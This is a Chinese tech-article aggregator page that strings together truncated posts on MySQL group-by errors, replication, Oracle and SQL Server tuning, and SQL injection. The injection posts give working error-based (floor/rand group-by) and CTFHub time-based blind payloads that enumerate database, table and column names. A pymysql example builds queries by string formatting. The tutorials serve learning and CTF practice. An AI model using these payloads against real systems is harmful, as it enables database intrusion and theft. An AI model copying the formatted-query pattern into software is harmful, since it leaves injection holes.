sql数据库

Mysql5.7及以上版本 ONLY_FULL_GROUP_BY报错

柔情痞子 提交于 2020-03-26 00:21:07
近期在开发过程中,因为项目开发环境连接的mysql数据库是阿里云的数据库,而阿里云的数据库版本是5.6的。而测试环境的mysql是自己安装的5.7。因此在开发过程中有小伙伴不注意写了有关group by的sql语句。在开发环境中运行是正常的,而到了测试环境中就发现了异常。 原因分析:MySQL5.7版本默认设置了 mysql sql_mode = only_full_group_by 属性,导致报错。 其中ONLY_FULL_GROUP_BY就是造成这个错误的罪魁祸首了,对于group by聚合操作,如果在select中的列没有在group by中出现,那么这个SQL是不合法的,因为列不在group by从句中,所以设置了sql_mode=only_full_group_by的数据库,在使用group by时就会报错。 测试环境下载安装的是最新版的mysql5.7.x版本,默认是开启了 only_full_group_by 模式的,但开启这个模式后,原先的 group by 语句就报错,然后又把它移除了。 一旦开启 only_full_group_by ,感觉,group by 将变成和 distinct 一样,只能获取受到其影响的字段信息,无法和其他未受其影响的字段共存,这样,group by 的功能将变得十分狭窄了 only_full_group_by 模式开启比较好。因为在

【MySQL】2.MySQL主从同步

生来就可爱ヽ(ⅴ<●) 提交于 2020-03-25 21:24:19
一、MySQL主从原理 1、概念 MySQL 主从复制是指数据可以从一个MySQL数据库服务器主节点复制到一个或多个从节点。MySQL 默认采用异步复制方式,这样从节点不用一直访问主服务器来更新自己的数据,数据的更新可以在远程连接上进行,从节点可以复制主数据库中的所有数据库或者特定的数据库,或者特定的表。 2、MySQL主从复制涉及的三个线程 主节点 binary log dump 线程 :当从节点连接主节点时,主节点会创建一个log dump 线程,用于发送bin-log的内容。在读取bin-log中的操作时,此线程会对主节点上的bin-log加锁,当读取完成,甚至在发动给从节点之前,锁会被释放。 从节点I/O线程 :当从节点上执行`start slave`命令之后,从节点会创建一个I/O线程用来连接主节点,请求主库中更新的bin-log。I/O线程接收到主节点binlog dump 进程发来的更新之后,保存在本地relay-log中。 从节点SQL线程 :SQL线程负责读取relay log中的内容,解析成具体的操作并执行,最终保证主从数据的一致性。 对于每一个主从连接,都需要三个进程来完成。当主节点有多个从节点时,主节点会为每一个当前连接的从节点建一个binary log dump 进程,而每个从节点都有自己的I/O进程,SQL进程

SQL注入-报错注入

↘锁芯ラ 提交于 2020-03-25 17:27:04
3 月,跳不动了?>>> 报错注入产生案例 前面处理Get和Post请求的页面中,对于有提示错误源码的使用联合查询(union select)报出数据库,表,字段,数据等。若有过滤器使用大小写绕过,双写绕过,关键字绕过,注释绕过,URL编码绕过,宽字符绕过等方法进行绕过。但是对于没有提示错误源码只提示错误页面的,我们采取盲注的方法,如布尔盲注和时间盲注。其绕过的方法与提示错误源码的一致。我们是否有一种方法就是让页面强制报错,通过报错来提示我们所需要的信息。答案是肯定有的,那就是基于报错的注入(适合的前提条件是有mysql_error()源码报错,对于跳转错误页面的不适合需要采取盲注)。 基于主键重复报错进行SQL注入(mysql_error()前提下) 使用floor()函数构造错误函数 select count(*),(floor(rand(0)*2))x from table group by x; rand(a)随机函数,返回 0~1 之间的某个值,a随机因子 floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数 count()计数函数,返回查询对象的总数 group by clause 分组语句,按照查询结果分组 这几个函数放在一起会产生报错呢? 1、floor(rand(0)*2)固定返回数值 011011…函数本身并没有报错 2、使用 count

sql时间盲注

时光总嘲笑我的痴心妄想 提交于 2020-03-25 16:38:09
sql时间盲注--ctfhub 测试 1 and if(length(database())>1,sleep(5),1)# 确实是 5s 后才响应了,注入成功 然后接下来的步骤类似于布尔盲注, 继续尝试 这里我猜测数据库名为 sqli 结果验证确实(投机取巧 0.0 ) 不用 1 and if() 直接 if() 也可以 1 and if(database()='sqli',sleep(1),1)# 包括后面的思路是对的 (第二个表才是flag ) 1 and if(substr(database(),1,1)='s',sleep(1),1) --- 猜数据库名 1 and if(substr((select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1),1,1) = 'f ', sleep(1),1) -- 表名 1 and if(substr(( select column_name from information_schema.columns where table_schema = 'sqli' and table_name='flag' limit 0,1 ),1,1) = 'f ', sleep(1),1) -- - 列名 验证 确实第 2 个表和

打开SQL Server 2008的1433端口

ⅰ亾dé卋堺 提交于 2020-03-25 06:35:59
1、开始——>Microsoft SQL Server 2008——>配置工具——>Sql Server 配置管理器——> DIABLO(数据库实例)的协议中看看TCP/IP协议是否启动,如果启动,右键菜单点"属性" ,在IP地址页菜单中选"IP地址",把"IP1"和"IP2"中"TCP端口"为1433,"已启用"改为"是" 2、开始——>Microsoft SQL Server 2008——>配置工具——>Sql Server 配置管理器——> SQL Native Client 10.0 配置——>客户端协议——>TCP/IP 选择TCP/IP右键菜单中"属性",确认"默认端口"是1433,"已启用"为"是" 以上操作完成后,在SQL Server 服务中重启SQL Server (DIABLO)。 最近在部署客户端以及服务器遇到的最傻的一个问题,b/s程序可以正常运行,但是c/s就是无法正常运行,结果找了老久才找到问题所在,就是在服务器安装sql时没将1433端口打开所导致的,犯了低级错误很烦人! 来源: https://www.cnblogs.com/tr550352743/archive/2012/09/18/2690665.html

buffer cache 深度解析

╄→гoц情女王★ 提交于 2020-03-25 06:32:16
本文首先详细介绍了oracle中buffer cache的 概念 以及所包含的 内存结构 。然后结合各个后台进程(包括DBWRn、CKPT、LGWR等)深入介绍了oracle对于buffer cache的管理机制,并详细解释了oracle为什么会采用现在的管理机制,是为了解决什么问题。比如为何会引入touch次数、为何会引入增量检查点等等。最后全面介绍了有关buffer cache监控以及调优的实用方法。 1. buffer cache的 概念 用最简单的语言来描述oracle数据库的本质,其实就是能够用磁盘上的一堆文件来存储数据,并提供了各种各样的手段对这些数据进行管理。作为管理数据的最基本要求就是能够保存和读取磁盘上的文件中的数据。众所周知,读取磁盘的速度相对来说是非常慢的,而 内存 相对速度则要快的多。因此为了能够加快处理数据的速度,oracle必须将读取过的数据缓存在内存里。而oracle对这些缓存在内存里的数据起了个名字:数据高速缓存区(db buffer cache),通常就叫做buffer cache。按照oracle官方的说法,buffer cache就是一块含有许多数据块的内存区域,而这些数据块主要都是数据文件里的数据块内容的拷贝。通过初始化参数:buffer_cache_size来指定buffer cache的大小。oracle实例一旦启动

python编程:excel文件操作,redis数据库,接口开发

泄露秘密 提交于 2020-03-24 18:46:44
1 、操作mysql import pymysql # 1、连上数据库 账号、密码 ip 端口号 数据库 #2、建立游标 #3、执行sql #4 、获取结果 # 5、关闭游标 #6、连接关闭 coon = pymysql.connect( host='数据库ip',user='jxz',passwd='123456', port=3306,db='jxz',charset='utf8' #port必须写int类型, #charset这里必须写utf8 ) cur = coon.cursor() #建立游标 # cur.execute('select * from stu;')#执行sql语句 # cur.execute('insert into stu (id,name,sex) VALUE (1,"蓝波湾","男");') username = 'nhy' pwd='123456' sql = 'select * from nhy where name="%s" and pwd = "%s "'%(username,pwd) cur.execute(sql) # select * from nhy where username="nhy" and pwd="xxxx"; # delete update insert # coon.commit() #必须得coomit

SQL注入的问题

落爺英雄遲暮 提交于 2020-03-24 15:47:25
首先,SQL语句应该考虑哪些安全性?   第一,防止SQL注入,对特殊字符进行过滤、转义或者使用预编译的SQL语句绑定变量。   第二,当SQL语句运行出错时,不要把数据库返回的错误信息全部显示给用户,以防止泄露服务器和数据库相关信息。 其次,什么叫做SQL注入呢,如何防止呢? 举个例子:   你后台写的Java代码拼的SQL如下:   1 //该ename为前台传过来的一个查询条件 2 public List getInfo(String ename){ 3 StringBuffer buf = new StringBuffer(); 4 buf.append("select empno,ename,deptno from emp where ename = "").append(ename).append(""); 5 ... 6 ... 7 }    而前台页面有输入框如下:    职员姓名:   该文本域对应上面方法的ename参数。   如果用户在查询时向职员姓名文本域中输入的是如下信息:   'or'1'='1   那么这时就会涉及到SQL注入这个概念了。 上面的字符串传到后台后,与其他select等字符串拼成了如下的语句:   select empno,ename,deptno from emp where ename=" or '1'='1'

Oracle数据库的性能调整

僤鯓⒐⒋嵵緔 提交于 2020-03-24 14:18:05
oracle是一个高性能数据库软件。用户可以通过参数的调整,达到性能的优化。性能优化主要分为两部分:一是数据库管理员通过对系统参数的调整达到优化的目的,二是开发人员通过对应用程序的优化达到调整的目的。   在此,仅就系统参数的调整进行探讨,而不涉及应用程序的优化。对系统参数的调整,可以分为以下几个部分:   (1)调整内存分配   系统全局区(SGA)是一个分配给ORACLE 包含ORACLE 数据库实例控制信息的内存段。SGA的大小对系统性能的影响极大,其缺省参数设置只适用于配置很低的计算机,不适应收入系统现有设备的需要。这些参数若不作调整,会对系统资源造成巨大浪费。就收入系统的Alpha 1200而言,SGA的大小以160兆左右为宜。   初始化参数文件中的一些参数对SGA的大小有决定性的影响。参数DB-BLOCK-BUFFERS(SGA中存储区高速缓存的缓冲区数目),参数SHARED-POOL-SIZE(分配给共享SQL区的字节数),是SGA大小的主要影响者。   DB-BLOCK-BUFFERS参数是SGA大小和数据库性能的最重要的决定因素。该值较高,可以提高系统的命中率,减少I/O。每个缓冲区的大小等于参数DB-BLOCK-SIZE的大小。ORACLE数据库块以字节表示大小。   Oracle SGA区共享池部分由库高速缓存、字典高速缓存及其他一些用户和服务器会话信息组成

Performance analysis of SQL Server — about CPU

天涯浪子 提交于 2020-03-24 03:16:38
--查询编译以来 cpu耗时总量最多的前50条(Total_woker_time) SELECT TOP 50 total_worker_time/1000 AS [总消耗CPU 时间(ms)], execution_count [运行次数], qs.total_worker_time/qs.execution_count/1000 AS [平均消耗CPU 时间(ms)], last_execution_time AS [最后一次执行时间], max_worker_time /1000 AS [最大执行时间(ms)], SUBSTRING(qt.text,qs.statement_start_offset/2+1, (CASE WHEN qs.statement_end_offset = -1 THEN DATALENGTH(qt.text) ELSE qs.statement_end_offset END -qs.statement_start_offset)/2 + 1) AS [使用CPU的语法], qt.text [完整语法], qt.dbid, dbname=db_name(qt.dbid), qt.objectid,object_name(qt.objectid,qt.dbid) ObjectName FROM sys.dm_exec_query_stats qs